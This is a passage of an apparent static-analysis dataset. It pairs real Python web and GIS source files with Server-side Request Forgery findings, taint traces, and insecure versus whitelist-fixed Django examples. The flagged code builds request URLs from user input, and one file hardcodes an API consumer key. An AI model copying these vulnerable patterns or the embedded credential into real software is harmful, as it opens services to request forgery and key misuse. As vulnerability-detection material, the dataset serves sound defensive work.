{"arg0": "request"}}, {"lineNo": 45, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "cb90ac2124bff5ff35d332cd1f8eb839a72a69132573a1155cc5460753a0e87e", "license": {"spdx": ["BSD-3-Clause"], "repo": "anitagraser/transbigdata", "path": "src/transbigdata/getbusdata.py", "repo_head_hexsha": "0eb972c78f9154c0a3f780f197ef9af406b2bb71", "stack_hexsha": "0da93efc72f90b6e00eddc17e58f0b6bc35a1911", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 50, "entireCode": "import pandas as pd\nimport numpy as np\nimport geopandas as gpd\nfrom shapely.geometry import Polygon,LineString\nimport urllib.request\nimport json\nfrom .CoordinatesConverter import gcj02towgs84,bd09towgs84,bd09mctobd09\nfrom urllib import parse\n\ndef getadmin(keyword,ak,subdistricts = False):\n '''\n Input the keyword and the Amap ak. The output is the GIS file of the administrative boundary (Only in China)\n \n Parameters\n -------\n keywords : str\n The keyword. It might be the city name such as Shengzheng, or the administrative code such as 440500\n ak : str\n Amap accesstoken\n subdistricts : bool\n Whether to output the information of the administrative district boundary\n\n Returns\n -------\n admin : GeoDataFrame\n Administrative district\n districts : DataFrame\n The information of subdistricts. This can be used to further get the boundary of lower level districts\n '''\n \n #API url\n url = 'https://restapi.amap.com/v3/config/district?'\n #Condition\n dict1 = {\n 'subdistrict':'3',\n 'showbiz':'false',\n 'extensions':'all',\n 'key':ak,\n 's':'rsv3',\n 'output':'json',\n 'level':'district',\n 'keywords':keyword,\n 'platform':'JS',\n 'logversion':'2.0',\n 'sdkversion':'1.4.10'\n }\n url_data = parse.urlencode(dict1)\n url = url+url_data\n request = urllib.request.Request(url)\n response = urllib.request.urlopen(request)\n webpage = response.read()\n result = json.loads(webpage.decode('utf8','ignore'))\n #Organize Data\n datas = []\n k = 0\n polyline = result['districts'][k]['polyline']\n polyline1 = polyline.split('|')\n res = []\n for polyline2 in polyline1:\n polyline2 = polyline2.split(';')\n p = []\n for i in polyline2:\n a,b = i.split(',')\n p.append([float(a),float(b)])\n x = pd.DataFrame(p)\n x[0],x[1] = gcj02towgs84(x[0],x[1])\n p = x.values\n res.append(Polygon(p))\n data = pd.DataFrame()\n data1 = pd.DataFrame()\n data1['geometry'] = res\n data1 = gpd.GeoDataFrame(data1)\n poly = data1.unary_union\n data['geometry'] = [poly]\n try:\n data['citycode'] = result['districts'][k]['citycode']\n except:\n pass\n try:\n data['adcode'] = result['districts'][k]['adcode']\n except:\n pass\n try:\n data['name'] = result['districts'][k]['name']\n except:\n pass\n try:\n data['level'] = result['districts'][k]['level']\n except:\n pass\n try:\n data['center'] = result['districts'][k]['center']\n except:\n pass\n datas.append(data)\n datas = pd.concat(datas)\n admin = gpd.GeoDataFrame(datas)\n if subdistricts:\n districts = result['districts'][k]['districts']\n districts = pd.DataFrame(districts)\n return admin,districts\n else:\n return admin\n\n\n\ndef getbusdata(city,keywords):\n '''\n Obtain the geographic information of the bus station and bus line from the map service (Only in China)\n\n Parameters\n -------\n city : str\n city name\n keywords : List\n Keyword, the line name\n\n Returns\n -------\n data : GeoDataFrame\n The generated bus line\n stop : GeoDataFrame\n The generated bus station\n '''\n def getlineuid(keyword,c):\n url = 'http://map.baidu.com/?qt=s&wd='+urllib.parse.quote(keyword)+'&c='+c\n response1 = urllib.request.urlopen(url)\n searchinfo=json.loads(response1.read().decode('utf8'))\n if searchinfo['content'][0]['catalogID'] ==904 or searchinfo['content'][0]['catalogID'] ==905:\n try:\n uidlist = list(pd.DataFrame(searchinfo['content'][8]['blinfo'])['uid'])\n except:\n uidlist = []\n uidlist.append(searchinfo['content'][0]['uid'])\n uidlist.append(searchinfo['content'][1]['uid'])\n return list(set(uidlist))\n else:\n return []\n def getcitycode(c):\n url = 'http://map.baidu.com/?qt=s&wd='+urllib.parse.quote(c)\n response1 = urllib.request.urlopen(url,timeout = 60)\n searchinfo=json.loads(response1.read().decode('utf8'))\n return str(searchinfo['content']['code'])\n def getlinegeo(uid,c):\n url = 'http://map.baidu.com/?qt=bsl&uid='+uid+'&c='+c\n response = urllib.request.urlopen(url,timeout = 60)\n searchinfo=json.loads(response.read().decode('utf8'))\n linename = searchinfo['content'][0]['name']\n stations = searchinfo['content'][0]['stations']\n geo = searchinfo['content'][0]['geo'].split('|')[2][:-1].split(',')\n stationgeo = []\n stationnames = []\n for station in stations:\n stationname = station['name']\n coo = station['geo'].split(';')[1].split('|')[0]\n stationnames.append(stationname)\n stationgeo.append(coo)\n coo=[]\n t=0\n cood = ''\n for each in geo:\n t += 1\n cood += each + ','\n if t == 2:\n t=0\n coo.append(cood[:-1])\n cood = ''\n def coodconvert(coo):\n coo = pd.DataFrame(list(pd.DataFrame(coo)[0].str.split(','))).astype(float)\n coo[0],coo[1] = bd09mctobd09(coo[0],coo[1])\n return list(coo[0].astype(str)+','+coo[1].astype(str))\n return linename,coodconvert(coo),stationnames,coodconvert(stationgeo)\n print('Obtaining city id:',city,end = '')\n linenames = []\n lines = []\n c = getcitycode(city)\n print('success')\n stop = []\n uids = []\n \n for keyword in keywords:\n print(keyword)\n for uid in getlineuid(keyword,c):\n if uid not in uids:\n try:\n linename,coo,stationnames,stationgeo = getlinegeo(uid,c)\n coo = pd.DataFrame(list(pd.DataFrame(coo)[0].str.split(',')))\n coo[0],coo[1] = bd09towgs84(coo[0],coo[1])\n line = LineString(coo.values)\n linenames.append(linename)\n lines.append(line)\n stops = pd.DataFrame({'stationnames':stationnames})\n stops['linename']=linename\n stops['geo'] = stationgeo\n stops['lon'] = stops['geo'].apply(lambda row:row.split(',')[0])\n stops['lat'] = stops['geo'].apply(lambda row:row.split(',')[1])\n stop.append(stops)\n print(linename+' success')\n uids.append(uid)\n except:\n pass\n data = gpd.GeoDataFrame()\n data['linename'] = linenames\n data['geometry'] = lines\n data['city'] = city\n stop = pd.concat(stop)\n stop['lon'],stop['lat'] = bd09towgs84(stop['lon'],stop['lat'])\n stop['geometry'] = gpd.points_from_xy(stop['lon'],stop['lat'])\n stop = stop.drop('geo',axis = 1)\n stop = gpd.GeoDataFrame(stop)\n data['line'] = data['linename'].str.split('(').apply(lambda r:r[0])\n stop['line'] = stop['linename'].str.split('(').apply(lambda r:r[0])\n stop['id'] = range(len(stop))\n stop['id'] = stop.groupby('linename')['id'].rank()\n data = data.drop_duplicates(subset = ['linename'])\n stop = stop.drop_duplicates(subset = ['linename','stationnames'])\n return data,stop\n\ndef split_subwayline(line,stop):\n '''\n To slice the metro line with metro stations to obtain metro section information (This step is useful in subway passenger flow visualization)\n\n Parameters\n -------\n line : GeoDataFrame\n Bus/metro lines\n stop : GeoDataFrame\n Bus/metro stations\n\n Returns\n -------\n metro_line_splited : GeoDataFrame\n Generated section line shape\n '''\n def getline(r2,line_geometry):\n ls = []\n if r2['o_project']<=r2['d_project']:\n tmp1 = np.linspace(r2['o_project'],r2['d_project'],10)\n if r2['o_project']>r2['d_project']:\n tmp1 = np.linspace(r2['o_project']-line_geometry.length,r2['d_project'],10)\n tmp1[tmp1<0] = tmp1[tmp1<0]+line_geometry.length\n for j in tmp1:\n ls.append(line_geometry.interpolate(j))\n return LineString(ls)\n lss = []\n for k in range(len(line)):\n r = line.iloc[k]\n line_geometry = r['geometry']\n tmp = stop[stop['linename'] == r['linename']].copy()\n for i in tmp.columns:\n tmp[i+'1'] = tmp[i].shift(-1)\n tmp = tmp.iloc[:-1]\n tmp = tmp[['stationnames','stationnames1','geometry','geometry1','linename']]\n tmp['o_project'] = tmp['geometry'].apply(lambda r1:r['geometry'].project(r1))\n tmp['d_project'] = tmp['geometry1'].apply(lambda r1:r['geometry'].project(r1))\n tmp['geometry'] = tmp.apply(lambda r2:getline(r2,line_geometry),axis = 1)\n lss.append(tmp)\n metro_line_splited = pd.concat(lss).drop('geometry1',axis = 1)\n return metro_line_splited\n\n\ndef metro_network(stop,traveltime = 3,transfertime = 5,nxgraph = True):\n '''\n Inputting the metro station data and outputting the network topology model. The graph generated relies on NetworkX.\n\n Parameters\n -------\n stop : GeoDataFrame\n Bus/metro stations\n traveltime : number\n Travel time per section\n transfertime : number\n Travel time per transfer\n nxgraph : bool\n Default True, if True then output the network G constructed by NetworkX, if False then output the edges1(line section),edge2(station transfer), and the node of the network\n\n Returns\n -------\n G : networkx.classes.graph.Graph\n Network G built by networkx. Output when the nxgraph parameter is True\n edge1 : DataFrame\n Network edge for line section. Output when the nxgraph parameter is False\n edge2 : DataFrame\n Network edge for transfering. Output when the nxgraph parameter is False\n node : List\n Network nodes. Output when the nxgraph parameter is False\n '''\n linestop = stop.copy()\n for i in linestop.columns:\n linestop[i+'1'] = linestop[i].shift(-1)\n linestop = linestop[linestop['linename'] == linestop['linename1']].copy()\n linestop = linestop.rename(columns = {'stationnames':'ostop','stationnames1':'dstop'})\n linestop['ostation'] = linestop['line']+linestop['ostop']\n linestop['dstation'] = linestop['line']+linestop['dstop']\n edge1 = linestop[['ostation','dstation']].copy()\n edge1['duration'] = traveltime\n linestop = stop.copy()\n linestop['station'] = linestop['line'] + linestop['stationnames']\n tmp = linestop.groupby(['stationnames'])['linename'].count().rename('count').reset_index()\n tmp = pd.merge(linestop,tmp[tmp['count']>2]['stationnames'],on = 'stationnames')\n tmp = tmp[['stationnames','line','station']].drop_duplicates()\n tmp = pd.merge(tmp,tmp,on ='stationnames')\n edge2 =tmp[tmp['line_x'] != tmp['line_y']][['station_x','station_y']]\n edge2['duration'] = transfertime\n edge2.columns = edge1.columns\n edge = edge1.append(edge2)\n node = list(edge['ostation'].drop_duplicates())\n if nxgraph:\n import networkx as nx\n G = nx.Graph()\n G.add_nodes_from(node)\n G.add_weighted_edges_from(edge.values)\n return G\n else:\n return edge1,edge2,node\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 50, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 50, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urllib.request.urlopen"}}]}} {"id": "9ae59ed1df55724304ccef67f6212896efea83062742af4ac08b8b8de217de71", "license": {"spdx": ["MIT"], "repo": "ezekielkibiego/Store_Center", "path": "transport/views.py", "repo_head_hexsha": "199bb8240e78e7227d2daa0ce8d9df13e1c429f7", "stack_hexsha": "e7b296bb1a1ad24f7f75ecc81423bfc15fe48ea4", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 40, "entireCode": "\nfrom django.conf import settings\nfrom django.shortcuts import redirect, render\nfrom transport.models import *\nfrom transport.forms import *\nfrom django.contrib.auth.decorators import login_required\nimport requests,json\nfrom django.template.loader import render_to_string, get_template\nfrom django.core.mail import EmailMessage\nfrom decimal import Decimal\nfrom paypal.standard.forms import PayPalPaymentsForm\nimport re\nfrom django_daraja.mpesa.core import MpesaClient\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.http.response import JsonResponse\nfrom django.urls import reverse\nfrom requests.api import get\nfrom requests.auth import HTTPBasicAuth\n\n\n\n\n@login_required(login_url='client_login')\ndef request_transport(request):\n api_key = settings.GOOGLE_API_KEY\n initial_units=request.session.get('initial_units')\n final_units = request.session.get('final_units')\n if request.method == 'POST':\n form = TransportForm(request.POST)\n if form.is_valid():\n transport_request = form.save(commit=False)\n transport_request.user = request.user\n #client goods logic\n goods = Goods.objects.filter(owner=request.user).last()\n transport_request.goods= goods\n #distance matrix logic\n source = 'Moringa School,Nairobi,Kenya'\n destination = transport_request.address\n url = 'https://maps.googleapis.com/maps/api/distancematrix/json?'\n r = requests.get(url + 'origins=' + source +\n '&destinations=' + destination +\n '&key=' + api_key)\n x=r.json()\n print(x)\n distance = x['rows'][0][\"elements\"][0][\"distance\"][\"value\"]\n transport_request.distance = (distance)/1000\n #calculate price\n price = (transport_request.distance)*200\n transport_request.price = price\n #transport_type logic\n if initial_units > final_units:\n transport_request.transport_type = Transport.PICKUP\n elif final_units > initial_units:\n transport_request.transport_type= Transport.DELIVERY\n transport_request.save()\n return redirect('request_summary')\n else:\n print(form.errors)\n else:\n form =TransportForm()\n context = {\n 'form':form,\n 'api_key': api_key,\n 'initial_units':initial_units,\n 'final_units': final_units,\n }\n return render(request,'request_transport.html', context)\n\n@login_required(login_url='client_login')\ndef request_summary(request):\n request_transport = Transport.objects.filter(user=request.user).last()\n \n print(request_transport.user.first_name)\n context = {\n 'request_transport': request_transport,\n }\n \n #email logic\n subject = 'TRANSPORT REQUEST SUMMARY'\n message = get_template('transport_summary_email.html').render(context)\n msg = EmailMessage(\n subject,\n message,\n settings.EMAIL_HOST_USER,\n [request_transport.email],\n )\n msg.content_subtype = 'html'\n msg.send()\n \n return render(request,'request_summary.html', context)\n\n\n@login_required(login_url='client_login')\ndef summaries(request):\n all_summaries = Transport.objects.all().order_by('-created')\n summaries = Transport.objects.filter(user=request.user).all().order_by('-created')\n context = {\n 'summaries': summaries,\n 'all_summaries': all_summaries,\n }\n \n \n return render(request,'summaries.html', context)\n\n\n\ncl = MpesaClient()\nstk_push_callback_url = 'https://sandbox.safaricom.co.ke/mpesa/stkpush/v1/processrequest'\nb2c_callback_url = 'https://sandbox.safaricom.co.ke/mpesa/b2c/v1/paymentrequest'\nc2b_callback_url = 'https://sandbox.safaricom.co.ke/mpesa/c2b/v1/registerurl'\n\ndef getAccessToken(request):\n consumer_key = 'GAeIsGiTzoclVjKZ0lpGkRTKqSOlM4tP'\n consumer_secret = ''\n api_URL = 'https://sandbox.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials'\n r = requests.get(api_URL, auth=HTTPBasicAuth(consumer_key, consumer_secret))\n mpesa_access_token = json.loads(r.text)\n validated_mpesa_access_token = mpesa_access_token['access_token']\n return HttpResponse(validated_mpesa_access_token)\n\ndef oauth_success(request):\n\tr = cl.access_token()\n\treturn JsonResponse(r, safe=False)\n \n\ndef stk_push_success(request, ph_number, totalAmount):\n phone_number = ph_number\n amount = totalAmount\n account_reference = 'Store Centre'\n transaction_desc = 'STK Push Description'\n callback_url = stk_push_callback_url\n response = cl.stk_push(phone_number, amount, account_reference, transaction_desc, callback_url)\n return HttpResponse(response)\n\n\n\n@login_required(login_url='client_login')\ndef payment(request):\n request_transport = Transport.objects.filter(user=request.user).last()\n request_goods = Goods.objects.filter(owner=request.user).last() \n paypal_client_id = settings.PAYPAL_CLIENT_ID\n context = {\n 'request_transport': request_transport,\n 'request_goods': request_goods,\n 'paypal_client_id': paypal_client_id\n \n }\n if request.method == 'POST':\n name=request.POST.get('fname')\n phone_number=request.POST.get('phone_number')\n amount=request.POST.get('amount')\n\n ph_number = None\n totalAmount = int(float(amount))\n\n if phone_number[0] == '0':\n ph_number = '254'+ phone_number[1:]\n elif phone_number[0:2] == '254':\n ph_number = phone_number\n else:\n # messages.error(request, 'Check you Phone Number format 2547xxxxxxxx')\n return redirect(request.get_full_path())\n\n\n stk_push_success(request, ph_number, totalAmount)\n request_transport.is_paid = True\n request_transport.save()\n return render (request,'success.html')\n\n if request.GET:\n input_value = request.GET['paypal_transaction']\n if input_value:\n request_transport.is_paid = True\n request_transport.save()\n return render (request,'success.html')\n\n\n return render(request,'payment.html', context)\n\ndef approval(request, request_summary_id):\n request_summary = Transport.objects.filter(id=request_summary_id).first()\n request_summary.is_approved = True\n request_summary.save()\n context ={\n 'request_summary':request_summary\n }\n #email logic\n subject = 'TRANSPORT REQUEST APPROVAL'\n message = get_template('transport_approval_email.html').render(context)\n msg = EmailMessage(\n subject,\n message,\n settings.EMAIL_HOST_USER,\n [request_summary.email],\n )\n msg.content_subtype = 'html'\n msg.send()\n\n return redirect('transport_summaries')\n ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.POST"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "TransportForm"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "30"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "save"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "transport_requestrequest_transport.transport_request.address"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 40, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "00a99994672bc5028ddbb51493b070960b46dece090165a73f16dec0f7d283ad", "license": {"spdx": ["MIT"], "repo": "SamuelHoward/open-source-platform", "path": "flask_app/main.py", "repo_head_hexsha": "eda201117a66e101c11727242e8bff470cea0385", "stack_hexsha": "6b899987252b758a6dd30249000acacfb5d5426c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 756, "entireCode": "# Import necessary modules\nfrom flask import render_template, request, redirect, url_for, flash, Blueprint\nfrom flask_app import app, db\nfrom flask_app.decorators import check_confirmed\nfrom flask_app.models import *\nfrom flask_login import login_required, current_user\nfrom sqlalchemy import or_, and_, func\nimport random\nimport requests\n\n# This file includes all main routes (no login related routes)\nmain = Blueprint('main', __name__)\n\n# Define global variables\norgs_search_results_data = Organizations.query.filter(\n Organizations.name.contains(\"\"))\nprojects_search_results_data = Projects.query.filter(\n Projects.description.contains(\"\"))\nproj_search_term = None\norg_search_term = None\nprojectsPerPage = 10\norgsPerPage = 10\n\n# Route for home page\n@app.route('/')\n@app.route('/index')\ndef index():\n\n # Calculate amount of projects\n projsLength = Projects.query.count()\n\n # Calculate amount of organizations\n orgsLength = Organizations.query.count()\n \n # Return the static homepage\n return render_template(\n 'index.html', title='Open Source Platform', numProjs=projsLength, numOrgs=orgsLength)\n\n# Route for projects page, includes searching and favoriting projects\n@app.route('/projects', methods=['GET', 'POST'])\ndef projects():\n\n # Pull in the necessary global variables\n global projects_search_results_data\n global proj_search_term\n global projectsPerPage\n\n # Get the page number from request arguments\n page = request.args.get('page', 1, type=int)\n\n # Logic for processing project searches\n if request.method == 'POST' and 'search_term' in request.form:\n\n # Pull in search term from search form\n proj_search_term=request.form['search_term']\n \n # Basic search logic: Look in project parameters for search term\n projects_search_results_data = Projects.query.filter(\n or_(Projects.description.contains(proj_search_term),\n Projects.name.contains(proj_search_term),\n Projects.language.contains(proj_search_term),\n Projects.owner.contains(proj_search_term),\n Projects.source.contains(proj_search_term)))\n\n # Pull in the item per page count, if necessary\n if 'per_page' in request.form:\n projectsPerPage = int(request.form['per_page'])\n\n # Logic for sorting items by name\n if 'sort_by' in request.form and request.form['sort_by'] == 'name':\n \n # Logic for reverse alphabetic search\n if 'reverse' in request.form:\n projects_search_results_data = projects_search_results_data \\\n .order_by(Projects.name.desc())\n\n # Logic for standard alphabetic search\n else:\n projects_search_results_data = projects_search_results_data \\\n .order_by(Projects.name)\n\n # Logic for sorting items by creation date\n elif 'sort_by' in request.form and request.form['sort_by'] == 'created':\n\n # Logic for standard recent search\n if 'reverse' in request.form:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(func.date(\n Projects.created_time))\n\n # Logic for reverse recent search\n else:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(func.date(\n Projects \\\n .created_time).desc())\n\n # Logic for sorting items by number of forks\n elif 'sort_by' in request.form and request.form['sort_by'] == 'forks':\n\n # Logic for sorting items by fork count, least first\n if 'reverse' in request.form:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(Projects.forks)\n\n # Logic for sorting items by fork count, greatest first\n else:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(Projects.forks.desc())\n\n # Logic for sorting items by number of watchers\n elif 'sort_by' in request.form \\\n and request.form['sort_by'] == 'watchers':\n\n # Logic for sorting items by watcher count, least first\n if 'reverse' in request.form:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(Projects.watchers)\n\n # Logic for sorting items by watcher count, greatest first\n else:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(\n Projects.watchers.desc())\n\n # Logic for sorting items by number of issues\n elif 'sort_by' in request.form \\\n and request.form['sort_by'] == 'issues':\n\n # Logic for sorting items by issues count, least first\n if 'reverse' in request.form:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(\n Projects.open_issues)\n\n # Logic for sorting items by issues count, greatest first\n else:\n projects_search_results_data = projects_search_results_data \\\n .filter(Projects.source == 'github') \\\n .order_by(\n Projects \\\n .open_issues.desc())\n\n # Reset the page after search\n page = 1\n \n # Refresh the page after searching\n try:\n \n # Render the page for logged-in users\n return render_template(\n 'projects_search.html',\n search_results=projects_search_results_data.paginate(\n page=page,\n per_page=projectsPerPage),\n search_term=proj_search_term,\n title='OSP | Projects',\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')) \\\n .with_entities(\n Favorites.fav_name))\n\n # If the previous rendering fails, default to anonymous rendering\n except:\n\n # Render the page for anonymous users\n return render_template(\n 'projects_search.html',\n search_results=projects_search_results_data.paginate(\n page=page,\n per_page=projectsPerPage),\n search_term=proj_search_term,\n title='OSP | Projects',\n favorites=[])\n\n # Logic for favoriting a project\n elif request.method == 'POST' and 'fav_name' in request.form:\n\n # Look for whether this project is already favorited\n favorite = Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['fav_name'],\n Favorites.fav_type=='project')).first()\n\n # If the favorite does not already exist, continue adding the favorite\n if favorite is None:\n\n # Form the Favorites object\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=request.form['fav_name'],\n fav_type='project')\n\n # Add and commit the Favorites object\n db.session.add(new_fav)\n db.session.commit()\n\n # Flash add message\n flash('Added ' + request.form['fav_name'] + ' to favorites')\n \n # Refresh the page after favoriting\n return redirect(request.path)\n\n # Logic for unfavoriting a project\n elif request.method == 'POST' and 'unfav_name' in request.form:\n\n # Look for the Favorite going to be deleted\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['unfav_name'],\n Favorites.fav_type=='project')).first()\n\n # Remove the Favorites record and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Render the page for logged-in users and anonymous users\n else:\n try:\n \n # Render the page for logged-in users\n return render_template(\n 'projects_search.html',\n search_results=projects_search_results_data.paginate(\n page=page,\n per_page=projectsPerPage),\n search_term=proj_search_term,\n title='OSP | Projects',\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')) \\\n .with_entities(\n Favorites.fav_name))\n\n # If the previous rendering fails, default to anonymous rendering\n except:\n\n # Render the page for anonymous users\n return render_template(\n 'projects_search.html',\n search_results=projects_search_results_data.paginate(\n page=page,\n per_page=projectsPerPage),\n search_term=proj_search_term,\n title='OSP | Projects',\n favorites=[])\n\n# Route for the organizations page\n@app.route('/organizations', methods=['GET', 'POST'])\ndef organizations():\n\n # Bring in te necessary global variables\n global orgs_search_results_data\n global org_search_term\n global orgsPerPage\n\n # Bring in the page number from the arguments\n page = request.args.get('page', 1, type=int)\n\n # Logic for searching orgs\n if request.method == 'POST' and 'search_term' in request.form:\n\n # Bring in the search term from the form\n org_search_term=request.form['search_term']\n\n # Perform search by looking for search term in org names\n orgs_search_results_data = Organizations.query.filter(\n Organizations.name.contains(org_search_term))\n\n # Pull in the item count per page if necessary\n if 'per_page' in request.form:\n orgsPerPage = int(request.form['per_page'])\n\n # Logic for search by name\n if 'name' in request.form:\n\n # Logic for reverse alphabetic search\n if 'reverse' in request.form:\n orgs_search_results_data = orgs_search_results_data.order_by(\n Organizations.name.desc())\n \n # Logic for standard alphabetic search\n else:\n orgs_search_results_data = orgs_search_results_data.order_by(\n Organizations.name)\n\n # Reset the page after search\n page = 1\n\n # Calculate search results and org names\n search_results=orgs_search_results_data.paginate(\n page=page,\n per_page=orgsPerPage)\n orgNames = [item.name for item in search_results.items]\n \n # Find the projects whose owners are in the search results\n projects=Projects.query.filter(Projects.owner.in_(orgNames))\n \n # Refresh the page after search\n try:\n\n # Render page for logged-in users\n return render_template(\n 'organizations.html',\n search_results=search_results,\n search_term=org_search_term,\n projects=projects,\n title='OSP | Organizations',\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='org')) \\\n .with_entities(Favorites.fav_name))\n\n # If the above rendering fails, render the anonymous page\n except:\n\n #Render page for anonymous users\n return render_template(\n 'organizations.html',\n search_results=search_results,\n search_term=org_search_term,\n projects=projects,\n title='OSP | Organizations',\n favorites=[])\n \n # Logic for favoriting an org\n if request.method == 'POST' and 'fav_name' in request.form:\n\n # Check if the favorites object already exists\n favorite=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['fav_name'],\n Favorites.fav_type=='org')).first()\n\n # If the favorite does not already exist, form the Favorites record\n if favorite is None:\n\n # Form the favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=request.form['fav_name'],\n fav_type='org')\n\n # Add the favorite and commit it\n db.session.add(new_fav)\n db.session.commit()\n\n # Flash add message\n flash('Added ' + request.form['fav_name'] + ' to favorites')\n \n # Refresh the page after searching\n return redirect(request.path)\n\n # Logic for unfavoriting an org\n elif request.method == 'POST' and 'unfav_name' in request.form:\n\n # Look for the existing favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['unfav_name'],\n 